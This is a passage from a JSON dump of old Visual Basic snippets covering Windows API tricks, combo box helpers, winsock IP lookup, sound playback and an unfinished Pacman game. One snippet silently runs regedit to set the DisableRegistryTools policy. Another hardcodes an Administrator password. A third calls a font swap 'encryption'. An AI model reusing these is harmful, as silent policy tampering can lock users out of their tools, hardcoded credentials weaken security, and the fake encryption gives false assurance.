size=\"2\">Sub\nSHAddToRecentDocs Lib<font\nsize=\"2\"> "shell32.dll" (ByVal uFlags As Long, ByVal pv\nAs String)\n<pre>Dim NewFile as <font\ncolor=\"#000080\">String\nNewFile="c:\\newfile.file"\nCall SHAddToRecentDocs(2,NewFile)</pre>\nMAKE FORM TRANSPARENT\n<pre>Declare Function SetWindowLong <font\ncolor=\"#000080\">Lib "user32" <font\ncolor=\"#000080\">Alias "SetWindowLongA" _\n(ByVal hwnd As Long, ByVal nIndex As Long,ByVal dwNewLong As Long) As Long\nPublic Const GWL_EXSTYLE = (-20)\nPublic Const WS_EX_TRANSPARENT = &H20&</pre>\nPrivate Sub Form_Load()\nSetWindowLong Me.hwnd, GWL_EXSTYLE,\nWS_EX_TRANSPARENT\nEnd\nAny Problems email me at <a\nhref=\"mailto:DSG@hotbot.com\">DSG@hotbot.com</a><font\nsize=\"2\"> \n"},{"WorldId":1,"id":3387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3402,"LineNumber":1,"line":"' MSAGENT example by Amir Malik\n' website: http://amir142.cjb.net\n' e-mail : amir@infoteen.com\n\nPrivate Sub cmdPaste_Click()\n TextData.Text = Clipboard.GetText\nEnd Sub\nPrivate Sub cmdPauseR_Click()\n If cmdPauseR.Caption = \"&Pause / Stop\" Then\n sp.AudioPause\n cmdPauseR.Caption = \"&Resume\"\n ElseIf cmdPauseR.Caption = \"&Resume\" Then\n sp.AudioResume\n cmdPauseR.Caption = \"&Pause / Stop\"\n End If\nEnd Sub\nPrivate Sub cmdSpeak_Click()\n sp.Speak TextData.Text\n sp.Speed = txtSpeed.Text\n Sspeak = True\nEnd Sub\nPrivate Sub txtSpeed_LostFocus()\n If txtSpeed.Text < 50 Then\n MsgBox \"Speed is too low.\"\n txtSpeed.Text = \"150\"\n End If\n If txtSpeed.Text > 250 Then\n MsgBox \"Speed is too high.\"\n txtSpeed.Text = \"150\"\n End If\nEnd Sub\n"},{"WorldId":1,"id":3463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3457,"LineNumber":1,"line":"Public Function szExeFile(ByVal Index As Long) As String\n szExeFile = ListOfActiveProcess(Index).szExeFile\nEnd Function\nPublic Function dwFlags(ByVal Index As Long) As Long\n dwFlags = ListOfActiveProcess(Index).dwFlags\nEnd Function\nPublic Function pcPriClassBase(ByVal Index As Long) As Long\n pcPriClassBase = ListOfActiveProcess(Index).pcPriClassBase\nEnd Function\nPublic Function th32ParentProcessID(ByVal Index As Long) As Long\n th32ParentProcessID = ListOfActiveProcess(Index).th32ParentProcessID\nEnd Function\nPublic Function cntThreads(ByVal Index As Long) As Long\n cntThreads = ListOfActiveProcess(Index).cntThreads\nEnd Function\nPublic Function thModuleID(ByVal Index As Long) As Long\n thModuleID = ListOfActiveProcess(Index).th32ModuleID\nEnd Function\nPublic Function th32DefaultHeapID(ByVal Index As Long) As Long\n th32DefaultHeapID = ListOfActiveProcess(Index).th32DefaultHeapID\nEnd Function\nPublic Function th32ProcessID(ByVal Index As Long) As Long\n th32ProcessID = ListOfActiveProcess(Index).th32ProcessID\nEnd Function\nPublic Function cntUsage(ByVal Index As Long) As Long\n cntUsage = ListOfActiveProcess(Index).cntUsage\nEnd Function\nPublic Function dwSize(ByVal Index As Long) As Long\n dwSize = ListOfActiveProcess(Index).dwSize\nEnd Function\nPublic Function GetActiveProcess() As Long\n Dim hToolhelpSnapshot As Long\n Dim tProcess As PROCESSENTRY32\n Dim r As Long, i As Integer\n hToolhelpSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)\n If hToolhelpSnapshot = 0 Then\n GetActiveProcess = 0\n Exit Function\n End If\n With tProcess\n .dwSize = Len(tProcess)\n r = ProcessFirst(hToolhelpSnapshot, tProcess)\n ReDim Preserve ListOfActiveProcess(20)\n Do While r\n i = i + 1\n If i Mod 20 = 0 Then ReDim Preserve ListOfActiveProcess(i + 20)\n ListOfActiveProcess(i) = tProcess\n r = ProcessNext(hToolhelpSnapshot, tProcess)\n Loop\n End With\n GetActiveProcess = i\n Call CloseHandle(hToolhelpSnapshot)\nEnd Function\n"},{"WorldId":1,"id":3507,"LineNumber":1,"line":"' Adjust Drop Down Width (ComboBox)\nPublic Sub AdjDropDownWidth(ByVal NewDropDownWidth As Long, ByVal ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SETDROPPEDWIDTH, NewDropDownWidth, 0)\n Call SendMessageLong(ComboHwnd, CB_GETDROPPEDWIDTH, 0, 0)\nEnd Sub\nPrivate Function GetCmbItemWidth(ByVal FormHwnd As Long) As Long\n Dim hFont As Long\n Dim hFontOld As Long\n Dim r As Long\n Dim avgWidth As Long\n Dim hDC As Long\n Dim sz As SIZE\n hDC = GetDC(FormHwnd)\n hFont = GetStockObject(ANSI_VAR_FONT)\n hFontOld = SelectObject(hDC, hFont)\n Call GetTextExtentPoint32(hDC, tmp, 52, sz)\n avgWidth = (sz.cX / 52)\n Call SelectObject(hDC, hFontOld)\n Call DeleteObject(hFont)\n Call ReleaseDC(FormHwnd, hDC)\n GetCmbItemWidth = avgWidth\nEnd Function\n' Set Drop Down Height (ComboBox)\nPublic Sub SetCmbDropDownHeight(ByVal numItemsToDisplay As Byte, ByVal objCombo As ComboBox)\n Dim cWidth As Long\n Dim newHeight As Long\n Dim oldScaleMode As Long\n Dim itemHeight As Long\n Dim ComboHwnd As Long\n ComboHwnd = objCombo.hwnd\n oldScaleMode = objCombo.Parent.ScaleMode\n objCombo.Parent.ScaleMode = vbPixels\n cWidth = objCombo.Width\n itemHeight = SendMessageLong(ComboHwnd, CB_GETITEMHEIGHT, 0, 0)\n newHeight = itemHeight * (numItemsToDisplay + 2)\n Call MoveWindow(ComboHwnd, objCombo.Left / Screen.TwipsPerPixelX, objCombo.Top / Screen.TwipsPerPixelX, objCombo.Width / Screen.TwipsPerPixelX, newHeight, True)\n objCombo.Parent.ScaleMode = oldScaleMode\nEnd Sub\n' Auto Adjust Drop Down Width (ComboBox)\nPublic Sub AutoAdjCombo(ByVal objCombo As ComboBox)\n Dim i As Long\n Dim NumOfChars As Long\n Dim LongestComboItem As Long\n Dim avgCharWidth As Long\n Dim NewDropDownWidth As Long\n Dim ComboHwnd As Long\n ComboHwnd = objCombo.hwnd\n For i = 0 To objCombo.ListCount - 1\n NumOfChars = SendMessageLong(ComboHwnd, CB_GETLBTEXTLEN, i, 0)\n If NumOfChars > LongestComboItem Then LongestComboItem = NumOfChars\n Next\n avgCharWidth = GetCmbItemWidth(objCombo.Parent.hwnd)\n NewDropDownWidth = (LongestComboItem - 2) * avgCharWidth\n Call SendMessageLong(ComboHwnd, CB_SETDROPPEDWIDTH, NewDropDownWidth, 0)\n Call SendMessageLong(ComboHwnd, CB_GETDROPPEDWIDTH, 0, 0)\nEnd Sub\n' Show Drop Down (ComboBox)\nPublic Sub Dropdown(ByVal ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SHOWDROPDOWN, True, 0)\nEnd Sub\n' Hide Drop Down (ComboBox)\nPublic Sub HideDropDown(ComboHwnd As Long)\n Call SendMessageLong(ComboHwnd, CB_SHOWDROPDOWN, False, ByVal 0)\nEnd Sub\n' Copy contents of a listbox to another listbox\nPublic Function CopyListToList(SourceHwnd As Long, DestHwnd As Long) As Long\n Dim c As Long\n Const LB_GETCOUNT = &H18B\n Const LB_GETTEXT = &H189\n Const LB_ADDSTRING = &H180\n Dim numitems As Long\n Dim sItemText As String * 255\n numitems = SendMessageLong(SourceHwnd, LB_GETCOUNT, 0&, 0&)\n LockWinUpdate DestHwnd\n If numitems > 0 Then\n For c = 0 To numitems - 1\n Call SendMessageStr(SourceHwnd, LB_GETTEXT, c, ByVal sItemText)\n Call SendMessageStr(DestHwnd, LB_ADDSTRING, 0&, ByVal sItemText)\n Next\n End If\n LockWinUpdate 0&\n numitems = SendMessageLong(DestHwnd, LB_GETCOUNT, 0&, 0&)\n CopyListToList = numitems\nEnd Function\n' Copy contents of a listbox to a combobox\nPublic Function CopyListToCombo(SourceHwnd As Long, DestHwnd As Long) As Long\n Dim c As Long\n Const LB_GETCOUNT = &H18B\n Const LB_GETTEXT = &H189\n Const CB_GETCOUNT = &H146\n Const CB_ADDSTRING = &H143\n Dim numitems As Long\n Dim sItemText As String * 255\n numitems = SendMessageLong(SourceHwnd, LB_GETCOUNT, 0&, 0&)\n LockWinUpdate DestHwnd\n If numitems > 0 Then\n For c = 0 To numitems - 1\n Call SendMessageStr(SourceHwnd, LB_GETTEXT, c, ByVal sItemText)\n Call SendMessageStr(DestHwnd, CB_ADDSTRING, 0&, ByVal sItemText)\n Next\n End If\n LockWinUpdate 0&\n numitems = SendMessageLong(DestHwnd, CB_GETCOUNT, 0&, 0&)\n CopyListToCombo = numitems\nEnd Function\n'Set horizontal extent (ListBox)\nPublic Sub SetLBHorizontalExtent(objLB As ListBox)\n Dim i As Integer\n Dim res As Long\n Dim Scrollwidth As Long\n With objLB\n For i = 0 To .ListCount\n If .Parent.TextWidth(.List(i)) > Scrollwidth Then _\n Scrollwidth = .Parent.TextWidth(.List(i))\n Next i\n res = SendMessage(.hwnd, LB_SETHORIZONTALEXTENT, _\n (Scrollwidth + 100) / Screen.TwipsPerPixelX, 0)\n End With\nEnd Sub\n' Highlight An Item When Your Mouse Is Over It (ListBox)\nPublic Sub HighlightLBItem(ByVal LBHwnd As Long, ByVal X As Single, ByVal Y As Single)\n Dim ItemIndex As Long\n Dim AtThisPoint As POINTAPI\n AtThisPoint.X = X \\ Screen.TwipsPerPixelX\n AtThisPoint.Y = Y \\ Screen.TwipsPerPixelY\n Call ClientToScreen(LBHwnd, AtThisPoint)\n ItemIndex = LBItemFromPt(LBHwnd, AtThisPoint.X, AtThisPoint.Y, False)\n If ItemIndex <> SendMessage(LBHwnd, LB_GETCURSEL, 0, 0) Then\n Call SendMessage(LBHwnd, LB_SETCURSEL, ItemIndex, 0)\n End If\nEnd Sub\n' Set Tab Stops (ListBox)\nPublic Sub SetTabsTops(ByVal LBHwnd As Long)\n Dim tabsets&(2)\n tabsets(0) = 45\n tabsets(1) = 110\n Call SendMessageLongByRef(LBHwnd, LB_SETTABSTOPS, 2, tabsets(0))\nEnd Sub\n' Increase Performance of Adding Data Into\n' ComboBox and ListBox\nPrivate Sub LockWinUpdate(ByVal hwndLock As Long)\n Call LockWindowUpdate(hwndLock)\nEnd Sub\n"},{"WorldId":1,"id":3445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3530,"LineNumber":1,"line":"'add 2 command buttons\n'add 1 text box\n'coded by the other matt\n'please give me mention if you ever decide to use this in one of you apps:)\nPrivate Sub Command1_Click()\nIf Text1 = \"\" Then MsgBox \"YOU MUST ENTER SOME TEXT!\"\nCommand1.Caption = \"Encrypt\"\nText1.Font = \"Money\"\nEnd Sub\nPrivate Sub Command2_Click()\nIf Text1 = \"\" Then MsgBox \"YOU MUST ENTER SOME TEXT!\"\nCommand2.Caption = \"Decrypt\"\nText1.Font = \"Times New Roman\"\nEnd Sub"},{"WorldId":1,"id":3448,"LineNumber":1,"line":"Private oIADS As ActiveDs.IADsContainer\nPrivate oUser As ActiveDs.IADsUser\nPrivate oGroup As ActiveDs.IADsGroup\nPrivate Sub Form_Load()\n txtDomain = \"MYDOMAIN\"\n usrName = \"Administrator\"\n usrPassword = \"sa\"\n usrNameOfInterest = \"WebDood\"\n \n Set oIADS = GetObject(\"WinNT:\").OpenDSObject(\"WinNT://\" & txtDomain, usrName, usrPassword, 1)\n Set oUser = oIADS.GetObject(\"user\", usrNameOfInterest)\n With oUser\n Debug.Print \"NT UserName\" & Space$(8) & .Name\n Debug.Print \"FullName\" & Space$(11) & .FullName\n Debug.Print \"This user belongs to the following NT Groups:\"\n For Each oGroup In .Groups\n Debug.Print vbTab & oGroup.Name\n Next\n End With\n \nEnd Sub\n"},{"WorldId":1,"id":3481,"LineNumber":1,"line":"Function SetDwordKeyValue(Hkey As String, SubKey As String, Keyname As String, Dword As String, Value As String)\nDword = \"=dword:\"\nA$ = \"REGEDIT4\" & vbCrLf & \"[\" & Hkey & \"\\\" & SubKey & \"]\" & vbCrLf & \"\"\"\" & Keyname & \"\"\"\" & Dword & Value\nOpen \"c:\\reg.reg\" For Output As 1'create a 'Reg file and name it: 'Reg.reg\nPrint #1, A$\nClose #1\nret = Shell(\"regedit.exe /s \" & \"c:\\reg.reg\", 0)\nKill \"c:\\reg.reg\"\nEnd Function\nSub DoIt(rtn As Boolean)\n'Disable/Re-enable Regedit.exe\nIf rtn = True Then\nret = SetDwordKeyValue(\"HKEY_CURRENT_USER\", \"\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\", \"DisableRegistryTools\", \"\", \"00000001\")\nElse\nret = SetDwordKeyValue(\"HKEY_CURRENT_USER\", \"\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\", \"DisableRegistryTools\", \"\", \"00000000\")\nEnd If\nEnd Sub\n\nPrivate Sub Form_Load()\n'Writing to the Registry with no API's! What! No joke, It can be done!\n'Changing this value to True Disables Regedit.Exe & Vice Versa.\n'Comments:Steve.Brigden@Usa.Net\nDoIt False\nEnd Sub"},{"WorldId":1,"id":3487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3497,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3523,"LineNumber":1,"line":"' You need a menu with 3 options, cut, copy, paste. Make sure to name them\n' mnucut, mnucopy, mnupaste. Or just make 3 buttons and change the code a bit.\n' You need one text box, defualt name text1. And thats it.\nPrivate Sub mnucopy_Click()\nIf Text1.SelText = \"\" Then\n Exit Sub\nElse\n Clipboard.Clear\n Clipboard.SetText Text1.SelText\nEnd If\nEnd Sub\nPrivate Sub mnucut_Click()\nIf Text1.SelText = \"\" Then\n Exit Sub\nElse\n Clipboard.Clear\n Clipboard.SetText Text1.SelText\n Text1.SelText = \"\"\nEnd If\nEnd Sub\nPrivate Sub mnupaste_Click()\nText1.SelText = Clipboard.GetText\n\nEnd Sub\n"},{"WorldId":1,"id":3524,"LineNumber":1,"line":"Public Const WS_VERSION_REQD = &H101\n Public Const WS_VERSION_MAJOR = WS_VERSION_REQD \\ &H100 And &HFF&\n Public Const WS_VERSION_MINOR = WS_VERSION_REQD And &HFF&\n Public Const MIN_SOCKETS_REQD = 1\n Public Const SOCKET_ERROR = -1\n Public Const WSADescription_Len = 256\n Public Const WSASYS_Status_Len = 128\n Public Type HOSTENT\n hName As Long\n hAliases As Long\n hAddrType As Integer\n hLength As Integer\n hAddrList As Long\n End Type\n Public Type WSADATA\n wversion As Integer\n wHighVersion As Integer\n szDescription(0 To WSADescription_Len) As Byte\n szSystemStatus(0 To WSASYS_Status_Len) As Byte\n iMaxSockets As Integer\n iMaxUdpDg As Integer\n lpszVendorInfo As Long\n End Type\n Public Declare Function WSAGetLastError Lib \"WSOCK32.DLL\" () As Long\n Public Declare Function WSAStartup Lib \"WSOCK32.DLL\" (ByVal _\n wVersionRequired&, lpWSAData As WSADATA) As Long\n Public Declare Function WSACleanup Lib \"WSOCK32.DLL\" () As Long\n \n Public Declare Function gethostname Lib \"WSOCK32.DLL\" (ByVal hostname$, _\n ByVal HostLen As Long) As Long\n Public Declare Function gethostbyname Lib \"WSOCK32.DLL\" (ByVal _\n hostname$) As Long\n Public Declare Sub RtlMoveMemory Lib \"kernel32\" (hpvDest As Any, ByVal _\n hpvSource&, ByVal cbCopy&)\n Function hibyte(ByVal wParam As Integer)\n hibyte = wParam \\ &H100 And &HFF&\n End Function\n Function lobyte(ByVal wParam As Integer)\n lobyte = wParam And &HFF&\n End Function\n Sub SocketsInitialize()\n Dim WSAD As WSADATA\n Dim iReturn As Integer\n Dim sLowByte As String, sHighByte As String, sMsg As String\n iReturn = WSAStartup(WS_VERSION_REQD, WSAD)\n If iReturn <> 0 Then\n MsgBox \"Winsock.dll is not responding.\"\n End\n End If\n If lobyte(WSAD.wversion) < WS_VERSION_MAJOR Or (lobyte(WSAD.wversion) = _\n WS_VERSION_MAJOR And hibyte(WSAD.wversion) < WS_VERSION_MINOR) Then\n sHighByte = Trim$(Str$(hibyte(WSAD.wversion)))\n sLowByte = Trim$(Str$(lobyte(WSAD.wversion)))\n sMsg = \"Windows Sockets version \" & sLowByte & \".\" & sHighByte\n sMsg = sMsg & \" is not supported by winsock.dll \"\n MsgBox sMsg\n End\n End If\n 'iMaxSockets is not used in winsock 2. So the following check is only\n 'necessary for winsock 1. If winsock 2 is requested,\n 'the following check can be skipped.\n If WSAD.iMaxSockets < MIN_SOCKETS_REQD Then\n sMsg = \"This application requires a minimum of \"\n sMsg = sMsg & Trim$(Str$(MIN_SOCKETS_REQD)) & \" supported sockets.\"\n MsgBox sMsg\n End\n End If\n End Sub\n Sub SocketsCleanup()\n Dim lReturn As Long\n lReturn = WSACleanup()\n If lReturn <> 0 Then\n MsgBox \"Socket error \" & Trim$(Str$(lReturn)) & \" occurred in Cleanup \"\n End\n End If\n End Sub\nPublic Function GetTheIP()\n Dim hostname As String * 256\n Dim hostent_addr As Long\n Dim host As HOSTENT\n Dim hostip_addr As Long\n Dim temp_ip_address() As Byte\n Dim i As Integer\n Dim ip_address As String\n If gethostname(hostname, 256) = SOCKET_ERROR Then\n MsgBox \"Windows Sockets error \" & Str(WSAGetLastError())\n Exit Function\n Else\n hostname = Trim$(hostname)\n End If\n hostent_addr = gethostbyname(hostname)\n If hostent_addr = 0 Then\n MsgBox \"Winsock.dll is not responding.\"\n Exit Function\n End If\n RtlMoveMemory host, hostent_addr, LenB(host)\n RtlMoveMemory hostip_addr, host.hAddrList, 4\n MsgBox hostname\n 'get all of the IP address if machine is multi-homed\n Do\n ReDim temp_ip_address(1 To host.hLength)\n RtlMoveMemory temp_ip_address(1), hostip_addr, host.hLength\n For i = 1 To host.hLength\n ip_address = ip_address & temp_ip_address(i) & \".\"\n Next\n ip_address = Mid$(ip_address, 1, Len(ip_address) - 1)\n MsgBox ip_address\n ip_address = \"\"\n host.hAddrList = host.hAddrList + LenB(host.hAddrList)\n RtlMoveMemory hostip_addr, host.hAddrList, 4\n Loop While (hostip_addr <> 0)\nEnd Function\n"},{"WorldId":1,"id":3526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3564,"LineNumber":1,"line":"***************************************************************\n* http://developer.ecorp.net *\n***************************************************************\n\nAuhor: EM Dixson\nThis code shows how to play a wave file from VB.\nCall the sub like this:\n PlaySound \"C:\\MyFolder\\MySound.wav\"\nNote that if the file is not found the windows default sound \nwill be played instead.\n\nPaste the following code into a module:\n'//*********************************//'\nPublic Declare Function sndPlaySound Lib \"winmm\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPublic Sub PlaySound(strFileName As String)\n sndPlaySound strFileName, 1\nEnd Sub\n"},{"WorldId":1,"id":3735,"LineNumber":1,"line":"'#############################################################\n'# This code was written by Emmett Dixson (c)1999. You may alter\n'# this code, trade, steal, borrow, lend or give away this code.\n'# However, this code has been regisered with the Library of\n'# Congress as a literary acheivement and as such excludes it\n'# from being known or proclaimed as \"PUBLIC DOMAIN\". \n'#---------------You may NOT remove this header---------------\n'#------------------You may NOT SELL this work----------------\n'#----YES! You MAY use this work for commercial purposes------\n'#---This code MAY NOT be sold or redistributed for profit----\n'#-------- I wish you every success in your projects ---------\n'#------------------------ Visit me at -----------------------\n'#------------------http://developer.ecorp.net ---------------\n'#-----------------FREE Visual Basic Source Code -------------\n'##############################################################\n'For best results paste everything into a NEW MODULE and be sure\n'you SAVE the module to your project. I call the module...\n'Surething.bas because it won't let you down.\n'Works for Win3.x, Win95,Win98,WinNT and EVEN Win2000(don't ask!)\n'Here it is and it is Soooo sweet! \n'I mean it will call any file man and auto-launch it's\n'associated application in any Windows OS. \n'All you have to do is enter the path and the\n'file-name and extension. It is totally awesome if I do say so\n'my self.....LOL. \n'Don't change anything...just paste all this code into ONE\n'MODULE that you can add to a project.\nOption Explicit\nPrivate Declare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\n \nFunction Shell(Program As String, Optional ShowCmd As Long = vbNormalNoFocus, Optional ByVal WorkDir As Variant) As Long\n Dim FirstSpace As Integer, Slash As Integer\n If Left(Program, 1) = \"\"\"\" Then\n FirstSpace = InStr(2, Program, \"\"\"\")\n If FirstSpace <> 0 Then\n Program = Mid(Program, 2, FirstSpace - 2) & Mid(Program, FirstSpace + 1)\n FirstSpace = FirstSpace - 1\n End If\n Else\n FirstSpace = InStr(Program, \" \")\n End If\n If FirstSpace = 0 Then FirstSpace = Len(Program) + 1\n If IsMissing(WorkDir) Then\n For Slash = FirstSpace - 1 To 1 Step -1\n If Mid(Program, Slash, 1) = \"\\\" Then Exit For\n Next\n If Slash = 0 Then\n WorkDir = CurDir\n ElseIf Slash = 1 Or Mid(Program, Slash - 1, 1) = \":\" Then\n WorkDir = Left(Program, Slash)\n Else\n WorkDir = Left(Program, Slash - 1)\n End If\n End If\n Shell = ShellExecute(0, vbNullString, _\n Left(Program, FirstSpace - 1), LTrim(Mid(Program, FirstSpace)), _\n WorkDir, ShowCmd)\n If Shell < 32 Then VBA.Shell Program, ShowCmd 'To raise Error\nEnd Function\n"},{"WorldId":1,"id":3552,"LineNumber":1,"line":"'=========================\n'Paste in a BAS module\n'=========================\nOption Explicit\nPublic exitPause As Boolean\nPublic Function timedPause(secs As Long)\n Dim secStart As Variant\n Dim secNow As Variant\n Dim secDiff As Variant\n Dim Temp%\n \n exitPause = False 'this is our early way out out of the pause\n \n secStart = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\") 'get the starting seconds\n \n Do While secDiff < secs\n If exitPause = True Then Exit Do\n secNow = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\") 'this is the current time and date at any itteration of the loop\n secDiff = DateDiff(\"s\", secStart, secNow) 'this compares the start time with the current time\n Temp% = DoEvents\n Loop \nEnd Function\n'=============================\n'Paste in a form with 1 command button\n'=============================\nOption Explicit\nPrivate Sub Command1_Click()\n \n timedPause 25\n \n MsgBox \"Time is up buddy!\"\nEnd Sub"},{"WorldId":1,"id":4963,"LineNumber":1,"line":"Private Sub unloader(Optional ByVal ForceClose As Boolean = False)\n Dim i As Long\n \nOn Error Resume Next \n For i = Forms.Count - 1 To 0 Step -1\n Unload Forms(i)\n Set Forms(i) = Nothing\n If Not ForceClose Then \n If Forms.Count > i Then\n Exit Sub\n End If\n End If\n Next i\n \n If ForceClose Or (Forms.Count = 0) Then Close\n If ForceClose Or (Forms.Count > 0) Then End\n \nEnd Sub"},{"WorldId":1,"id":3650,"LineNumber":1,"line":"Sub thumbnail(width As Integer, height As Integer, source As PictureBox, dest As PictureBox)\n 'This should help me to create a thumbnail of an image.\n \n 'ix and iy help to grab the pixels from the relative positions\n 'of the thumbnail from the image.\n Dim ix As Single, iy As Single\n \n 'x and y are just For...Next variables and xcounter/ycounter\n 'are used for reference to the thumbnail.\n Dim x As Single, y As Single, xcounter As Integer, ycounter As Integer\n \n 'These are a few safety precautions that you should take to\n 'make sure that the code works. The ScaleMode of the\n 'pictureboxes and their parents must be pixels.\n source.Parent.ScaleMode = vbPixels\n dest.Parent.ScaleMode = vbPixels\n source.ScaleMode = vbPixels\n dest.ScaleMode = vbPixels\n \n 'Calculate ix and iy, which are the 'steps' from which to grab\n 'pixels. Think of it as a fixed grid.\n ix = source.ScaleWidth / width\n iy = source.ScaleHeight / height\n \n 'Resize the thumbnail picturebox to accomodate the new\n 'thumbnail. There's a trap here; the thumbnail may not be\n 'exactly the size required.\n 'If you simply put dest.height = height and so on for the\n 'width, you might get the extra border on the right and\n 'bottom of the thumbnail.\n dest.height = source.ScaleHeight / iy\n dest.width = source.ScaleWidth / ix\n 'Now we make the thumbnail.\n For y = 0 To source.ScaleHeight - 1 Step iy\n For x = 0 To source.ScaleWidth - 1 Step ix\n \n 'Grab the image from the source and place it in the\n 'right spot in the thumbnail picture box.\n dest.PSet (xcounter, ycounter), source.Point(x, y)\n xcounter = xcounter + 1\n \n Next\n ycounter = ycounter + 1\n xcounter = 0\n Next\n 'The next line is not mandatory, except if you want the\n 'thumbnail to become a picture object.\n Set dest.Picture = dest.Image\nEnd Sub\n'To save the thumbnail you would then write a line such as\n'SavePicture dest.picture, \"thumbnail.bmp\" (or\n'SavePicture dest.image), remembering that the result is a\n'bitmap picture.\n"},{"WorldId":1,"id":7785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7942,"LineNumber":1,"line":"'\tAdd one form to the project.\n'\tAdd a picturebox (Autosize = True) with a bitmap (not an icon!!!), max. 13X13\n'\tAdd a commandbutton with following code:\nPrivate Sub Form_Load()\nhMenu& = GetMenu(Form1.hwnd)\nhSubMenu& = GetSubMenu(hMenu&, 0)\nhID& = GetMenuItemID(hSubMenu&, 0)\nSetMenuItemBitmaps hMenu&, hID&, MF_BITMAP, _\nPicture1.Picture, _\nPicture1.Picture\nEnd Sub \n"},{"WorldId":1,"id":3568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3571,"LineNumber":1,"line":"' Pacman sourcecode\n'\n' Ever played pacman? Well here is a sourcecode on making it.\n'\n' Needs only a timer set on interupt x (any difficullty!)\n' \n' Paste the code in your new project or HTML project and offer your\n' viewers one of the most enjoyable games ever!!\n'\n' Coded by R.b.v.Etten in 1999 \n'\n' \n' Note on graphics!!! \n' \n' Since I have coded it using only the line command the game lookes a little bit\n' boring. If you look at the code more closely (line!) you could change it to bitblt/paint\n' and add some real pacman graphics.\nDim lvl(281) 'level data. Plus 1 !!\nDim lvlb(281) 'level data. Plus 1 !!\nDim px As Integer 'positie x\nDim py As Integer 'positie y\nDim ox As Integer 'buffer positie\nDim oy As Integer 'buffer positie\nDim score\nDim levens\n'\nDim sx(2) As Integer\nDim sy(2) As Integer\nDim sox(2) As Integer\nDim soy(2) As Integer\nDim sbuf(2) As Integer\nDim dire(2) As Integer\n'\nDim lvlv As Integer\n' \n'\n'\nPrivate Sub Form_Load()\nScaleMode = 3 'pixels dus\npx = 2: ox = px 'startpositie x\npy = 1: oy = py ''startpositie y\n'\nFor i = 0 To 2\nsx(i) = 9: sox(i) = sx(i)\nsy(i) = 6: soy(i) = sy(i): dire(i) = 4\nsbuf(i) = 0\nNext\n'\n'\nIf lvlv = 0 Then lvlv = 1 Else lvlv = 0\nCall leeslvl(lvlv)\nscore = 0 'zet de score op 0\nlevens = 3 'zet aantal levens op 3\nCall Form_Resize\nTimer1.Enabled = True\nEnd Sub\n'beweging van pac man via het toetsen bord\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nox = px: oy = py 'neem ff de huidige lokatie op\nSelect Case KeyCode\n Case vbKeyUp: If py > 0 Then py = py - 1: Call doemove\n Case vbKeyDown: If py < 13 Then py = py + 1: Call doemove\n Case vbKeyLeft: If px > 1 Then px = px - 1: Call doemove\n Case vbKeyRight: If px < 20 Then px = px + 1: Call doemove\nEnd Select\nEnd Sub\n\nPrivate Sub doemove()\nposa = ox + (oy * 20) 'kijk op het veld\nposb = px + (py * 20) 'kijk op het veld\nIf lvl(posb) = 1 Then px = ox: py = oy: Exit Sub 'als muurtje dan exit\nCall dscore(posb)\nlvl(posb) = 4: lvl(posa) = 0: lvlb(posa) = 0 ' nieuwe positie even invoeren en oude uit...\nCall Form_Resize\nEnd Sub\nPrivate Sub dscore(pos)\nIf pos = 0 = False Then\nIf lvl(pos) = 2 Then score = score + 10 'pilletje 1 +10\nIf lvl(pos) = 3 Then score = score + 20 ',,,,\nEnd If\n'\na = \"Simplepacman Score : \" + Str(score) 'toon de score in de balk\na = a + \" \"\na = a + \"Levens : \"\na = a + Str(levens) + \" \"\nIf Form1.Caption = a = False Then Form1.Caption = a\nEnd Sub\n'\nPrivate Sub spookje(z)\nReDim del(8) As Integer\nDim i As Integer\nDim a As Integer\nsox(z) = sx(z): soy(z) = sy(z) ' oude ypos\n'\ndel(0) = lvl((sx(z)) + (sy(z) - 1) * 20)\ndel(1) = lvl((sx(z) - 1) + sy(z) * 20)\ndel(2) = lvl((sx(z) + 1) + sy(z) * 20)\ndel(3) = lvl(sx(z) + (sy(z) + 1) * 20)\n'\nFor i = 0 To 3\nIf del(i) = 1 = False Then a = a + 1\nNext\nIf a = 3 Then dire(z) = 4\nRandomize Timer\nIf dire(z) = 4 